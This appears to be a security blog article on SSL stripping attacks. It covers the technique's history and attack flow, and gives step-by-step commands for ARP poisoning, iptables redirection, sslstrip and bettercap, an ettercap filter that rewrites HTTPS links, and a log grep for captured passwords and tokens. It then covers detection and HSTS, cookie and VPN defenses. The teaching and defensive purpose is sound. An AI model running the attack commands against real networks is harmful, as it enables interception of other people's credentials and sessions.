Moxie Marlinspike stood at the podium at Black Hat DC 2009 and demonstrated something that changed how the security community thought about HTTPS. The attack did not crack SSL. It did not exploit a cryptographic weakness. It exploited something far simpler: the gap between when a user types a domain name into their browser and when HTTPS is actually negotiated.

That gap — the initial HTTP request — is all an attacker needs.

SSL stripping sits between the client and the server. It speaks HTTPS upstream to the origin, downgrades the connection to HTTP downstream to the victim, and rewrites every link and redirect in transit. The user sees content. The browser shows no warning. Credentials, session cookies, and sensitive data flow through the attacker’s machine in cleartext.

Fifteen years later, the technique’s reach has narrowed — HSTS and preloading have closed the door for major sites. But for the long tail of domains without preloading, for non-browser clients, and for first-connection scenarios, SSL stripping remains a viable attack on untrusted networks.


How SSL Stripping Works: Step by Step

Prerequisites: MitM Position

SSL stripping requires the attacker to be positioned as a man-in-the-middle — able to intercept and modify TCP traffic between the client and the internet. Common methods:

  • ARP poisoning on a local network (see our companion post on ARP spoofing)
  • Evil Twin AP (rogue Wi-Fi access point — see our post on Evil Twin attacks)
  • DHCP spoofing: Attacker responds to DHCP requests faster than the legitimate server, assigning themselves as the default gateway
  • ICMP redirect: Attacker sends ICMP Redirect messages telling the victim to use the attacker as a router

The Attack Chain

Without SSL stripping (normal flow):

Client → GET http://example.com/ (initial request, unencrypted)
Server → 301 Redirect: https://example.com/ (or HSTS forces upgrade)
Client → TLS handshake → GET https://example.com/ (encrypted)
Server → 200 OK (encrypted)

With SSL stripping (attacker in path):

Client → GET http://example.com/
         ↓ (attacker intercepts)
Attacker → GET https://example.com/  (attacker talks HTTPS to server)
Server → 200 OK with links: <a href="https://example.com/login">
         ↓ (attacker rewrites response)
Attacker rewrites: <a href="http://example.com/login">
Attacker → Client: 200 OK (HTTP, with rewritten links)
Client → GET http://example.com/login (follows HTTP link)
         ↓ (attacker intercepts login credentials in plaintext)
Attacker → POST https://example.com/login (forwards to server with real creds)

The client is never redirected to HTTPS. The attacker holds both connections simultaneously.


Attack Setup

Step 1: ARP Poison to Obtain MitM Position

1# Enable IP forwarding so traffic actually passes through (not just captured)
2sudo sysctl -w net.ipv4.ip_forward=1
3
4# ARP poison: tell victim (192.168.1.100) that the gateway (192.168.1.1) is us
5# Tell gateway that the victim is us
6sudo arpspoof -i eth0 -t 192.168.1.100 192.168.1.1 &
7sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.100 &

Step 2: Redirect HTTP Traffic to sslstrip

1# Redirect incoming port 80 traffic to sslstrip's listening port (8080)
2sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 \
3  -j REDIRECT --to-port 8080

Step 3: Run sslstrip

1# Install sslstrip
2pip install sslstrip
3
4# Run sslstrip on port 8080 with logging
5sslstrip -l 8080 -w sslstrip.log -p
6
7# Monitor the log for captured credentials
8tail -f sslstrip.log | grep -i "password\|passwd\|token\|session"

Alternative: bettercap (modern all-in-one MitM framework)

 1# Install bettercap
 2sudo apt install bettercap
 3
 4# Launch bettercap on the network interface
 5sudo bettercap -iface eth0
 6
 7# In bettercap console:
 8net.probe on
 9net.recon on
10# Set target
11set arp.spoof.targets 192.168.1.100
12arp.spoof on
13# Enable SSL stripping module
14set https.proxy.sslstrip true
15https.proxy on
16http.proxy on

Ettercap Filter to Demonstrate Rewriting

 1# ettercap filter: rewrite https:// links to http://
 2# Save as strip.filter, compile with: etterfilter strip.filter -o strip.ef
 3
 4if (ip.proto == TCP && tcp.dst == 80) {
 5    if (search(DATA.data, "Accept-Encoding")) {
 6        pcre_regex(DATA.data, "Accept-Encoding:[^\r]+", "Accept-Encoding: identity\r");
 7        msg("Removed encoding\n");
 8    }
 9}
10
11if (ip.proto == TCP && tcp.src == 80) {
12    pcre_regex(DATA.data, "https://", "http://");
13    msg("SSL Strip: rewrote https to http\n");
14}
1# Run ettercap with the compiled filter
2sudo ettercap -T -M arp:remote \
3  -F strip.ef \
4  /192.168.1.100// /192.168.1.1// \
5  -i eth0

Testing HSTS Enforcement with curl

 1# Test whether a site enforces HSTS (check for Strict-Transport-Security header)
 2curl -sI https://example.com | grep -i strict-transport
 3
 4# Expected output for HSTS-enabled site:
 5# Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
 6
 7# Test a site that does not redirect to HTTPS from HTTP (sslstrip viable)
 8curl -sI http://example.com | grep -iE "location|strict"
 9
10# If no HSTS header and HTTP returns 200 (not redirect): vulnerable to sslstrip
11# If HTTP returns 301 to HTTPS but no HSTS: first-request vulnerable
12
13# Check HSTS preload status
14curl -s "https://hstspreload.org/api/v2/status?domain=example.com" | python3 -m json.tool

Real-World Relevance

Public Wi-Fi Risk

SSL stripping is most dangerous on shared networks — airport Wi-Fi, hotel networks, coffee shop hotspots — where ARP poisoning or a rogue AP is trivial to execute. A 2013 study by ESET and subsequent research by security teams at DEF CON and CCC consistently demonstrate that non-preloaded banking and e-commerce sites remain strippable on first connection.

The scenario: a traveler connects to hotel Wi-Fi, visits their bank’s portal for the first time from this device. Their browser has no cached HSTS policy for the bank’s subdomain (e.g., secure.regional-bank.com). The attacker strips HTTPS. The user enters credentials in an HTTP form. The attacker captures them.

Corporate Proxy SSL Inspection

Many enterprise networks deploy TLS inspection proxies (Palo Alto SSL Decryption, Cisco Firepower, Zscaler) that legitimately perform a MitM using a corporate CA certificate trusted by all managed devices. While necessary for security monitoring, these create an environment where users are conditioned to accept certificate substitution — which makes them less likely to notice or report certificate anomalies, and which can be abused if the proxy is itself compromised.


Detection

Wireshark — Detect HTTP Where HTTPS Expected

# Wireshark display filter: HTTP traffic to sites that should be HTTPS
# Look for POST requests (credential submissions) over plain HTTP
http.request.method == "POST" and http.request.uri contains "login"

# Look for session cookies transmitted in plaintext
http.cookie

# Detect SSL stripping artifacts: HTTP responses containing references
# to HTTPS URIs (sign that https was rewritten from server response)
http.response and frame contains "https://"

# Look for ARP anomalies that indicate MitM setup
arp.duplicate-address-detected

Browser Security Indicators

Users should look for:

  • Address bar: https:// prefix and padlock icon absent on sensitive sites
  • Mixed content warnings: Browser console logs Mixed Content: The page was loaded over HTTPS, but requested an insecure resource
  • HTTPS-only mode alert (Firefox/Chrome): Browser warns before loading HTTP site

HSTS Preload List Verification

 1# Check if domain is in Chrome's HSTS preload list
 2# Download the preload list (updated in Chrome releases)
 3curl -s https://chromium.googlesource.com/chromium/src/+/main/net/http/transport_security_state_static.json?format=TEXT \
 4  | base64 -d | python3 -c "
 5import json, sys
 6data = json.load(sys.stdin)
 7domain = 'example.com'
 8entries = {e['name']: e for e in data['entries']}
 9if domain in entries:
10    print(f'PRELOADED: {entries[domain]}')
11else:
12    print(f'NOT preloaded — first-connection SSL strip viable')
13"
14
15# Or use the API
16curl "https://hstspreload.org/api/v2/status?domain=yourbank.com"

The Evolution: Where SSL Stripping Still Works in 2026

Where It Largely Does Not Work

  • HSTS preloaded domains: Chrome, Firefox, Safari, Edge all ship with preload lists. Google, Facebook, Twitter, GitHub, PayPal, all major banking institutions are preloaded. A first-connection strip attempt is stopped before the browser sends any request.
  • Browser HTTPS-only mode: Firefox and Chrome HTTPS-only modes block HTTP connections and show interstitial warnings, disrupting the strip.
  • HSTS with long max-age: After a single successful HTTPS visit, browsers enforce HTTPS for the duration of max-age (often 1–2 years). Return visitors are protected.

Where It Still Works

  1. Non-preloaded domains on first connection: Millions of sites have HSTS headers but are not preloaded. The first visit remains vulnerable.
  2. Subdomains without includeSubDomains: Strict-Transport-Security: max-age=31536000 set only on www.example.com does not protect login.example.com or portal.example.com.
  3. Non-browser HTTP clients: Mobile apps, Python scripts, curl, command-line tools, IoT devices — none implement HSTS unless specifically coded to do so.
  4. sslstrip2 partial bypass: Some implementations target non-preloaded subdomains and attempt to keep the browser from caching HSTS by stripping the header itself.
  5. API endpoints: REST APIs accessed over HTTP (rather than HTTPS) are fully vulnerable — no browser, no padlock, no HSTS.

Defense and Mitigation

1. HSTS Header — Server Configuration

 1# Nginx: HSTS with 2-year max-age, subdomains, preload-ready
 2server {
 3    listen 443 ssl;
 4    server_name example.com;
 5    add_header Strict-Transport-Security \
 6      "max-age=63072000; includeSubDomains; preload" always;
 7}
 8
 9# Redirect all HTTP to HTTPS first
10server {
11    listen 80;
12    server_name example.com;
13    return 301 https://$host$request_uri;
14}
1# Apache: HSTS header
2Header always set Strict-Transport-Security \
3  "max-age=63072000; includeSubDomains; preload"

2. HSTS Preloading

Submit your domain at hstspreload.org after verifying:

  • All subdomains support HTTPS
  • max-age >= 31536000 (1 year)
  • includeSubDomains directive present
  • preload directive present
  • HTTP redirects to HTTPS

Note: Preloading is essentially irreversible at the browser level for 1+ years. Test thoroughly before submitting.

3. Content Security Policy — Upgrade Insecure Requests

Content-Security-Policy: upgrade-insecure-requests

This CSP directive instructs browsers to automatically upgrade HTTP subresource requests to HTTPS, mitigating mixed content even if links were not updated.

Even if SSL stripping succeeds in intercepting the login page, session cookies with the Secure flag are not transmitted over HTTP:

1Set-Cookie: session=abc123; Secure; HttpOnly; SameSite=Strict
1# Flask example
2response.set_cookie('session', value=token, secure=True, httponly=True, samesite='Strict')

5. VPN on Untrusted Networks

A VPN that establishes an encrypted tunnel before any HTTP traffic is sent eliminates the MitM position required for SSL stripping. Zero-trust network access solutions that establish tunnels at the OS level (before applications send traffic) provide the most complete protection.

6. Certificate Pinning in Applications

Mobile and desktop applications that need to communicate with known backends should pin the server’s certificate or public key:

1// iOS — URLSession with certificate pinning
2let serverTrustPolicy = ServerTrustPolicy.pinCertificates(
3    certificates: ServerTrustPolicy.certificates(),
4    validateCertificateChain: true,
5    validateHost: true
6)

MITRE ATT&CK Mapping

TechniqueIDDescription
Adversary-in-the-Middle: Wi-FiT1557.002MitM position enabling SSL strip
Adversary-in-the-MiddleT1557Traffic interception and modification
Network SniffingT1040Credential capture from downgraded HTTP
Exploitation for Credential AccessT1212Capturing credentials via protocol downgrade


References